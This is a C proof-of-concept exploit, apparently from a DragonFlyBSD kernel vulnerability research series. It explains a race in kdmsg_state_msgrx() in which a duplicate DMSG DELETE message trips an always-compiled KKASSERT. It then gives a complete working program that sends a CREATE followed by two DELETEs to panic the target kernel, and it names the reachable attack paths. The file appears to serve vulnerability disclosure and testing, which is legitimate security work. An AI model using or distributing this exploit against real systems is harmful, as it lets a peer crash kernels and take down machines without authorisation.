DF-0018 / kdmsg_dupdelete.c
/* * DF-0018 PoC - duplicate DELETE for the same DMSG msgid trips KKASSERT -> * kernel panic. * * kdmsg_state_msgrx() unconditionally asserts, when processing a received * DELETE: * KKASSERT((state->rxcmd & DMSGF_DELETE) == 0); // kern_dmsg.c:1076 * KKASSERT is ALWAYS compiled in on DragonFlyBSD (unlike KASSERT, which is * INVARIANTS-only). A peer can send two DELETE messages for the same msgid in * quick succession: the first sets state->rxcmd |= DMSGF_DELETE but does NOT * remove the state from the RB tree (removal needs txcmd to also carry DELETE, * which depends on the writer thread transmitting the reply). The second * DELETE finds the same state still in the tree and reaches :1076, where the * assertion fires -> panic. * * The race favors the attacker: the reader processes messages sequentially * and will read/process DELETE-2 right after DELETE-1's cleanuprx, while the * writer must dequeue + fp_write the reply. Sending both DELETEs back-to-back * makes this reliable. * * Reachability: same as DF-0017 -- a DMSG peer via the hammer2 relay daemon * (cluster network) or DIOCRECLUSTER on a disk device node. CRC not verified * on receive. * * Build (DragonFlyBSD): cc -o kdmsg_dupdelete kdmsg_dupdelete.c * * WARNING: panics the target kernel. Disposable VM only. * * Expected (bug present): kernel panic * "(state->rxcmd & DMSGF_DELETE) == 0" * on the second DELETE. */ #include <sys/types.h> #include <sys/dmsg.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <err.h> #define DMSG_MAGIC0 0x4832 static void mk_dmsg(void *buf, uint32_t cmd, uint64_t msgid, uint64_t circuit) { struct dmsg_hdr *h = buf; memset(buf, 0, 64); h->magic = DMSG_MAGIC0; h->cmd = cmd; h->msgid = msgid; h->circuit = circuit; h->hdr_crc = 0; /* not verified on receive */ } int main(int argc, char **argv) { int fd, i; char buf[64]; if (argc < 2) errx(2, "usage: %s <connected-dmsg-fd>", argv[0]); fd = atoi(argv[1]); /* 1. CREATE a persistent state for msgid=42 (circuit=0 -> child of state0). */ mk_dmsg(buf, DMSGF_CREATE | DMSG_LNK_PAD, 42ULL, 0ULL); if (write(fd, buf, sizeof(buf)) != (ssize_t)sizeof(buf)) err(1, "write CREATE"); /* 2. Two back-to-back DELETEs for msgid=42. The reader processes them * before the writer can transmit the reply to the first, so the * second reaches the KKASSERT at kern_dmsg.c:1076 and panics. */ for (i = 0; i < 2; i++) { mk_dmsg(buf, DMSGF_DELETE | DMSG_LNK_PAD, 42ULL, 0ULL); if (write(fd, buf, sizeof(buf)) != (ssize_t)sizeof(buf)) err(1, "write DELETE %d", i); } fprintf(stderr, "[*] sent CREATE + 2x DELETE for msgid=42; expect panic\n"); return 0; } |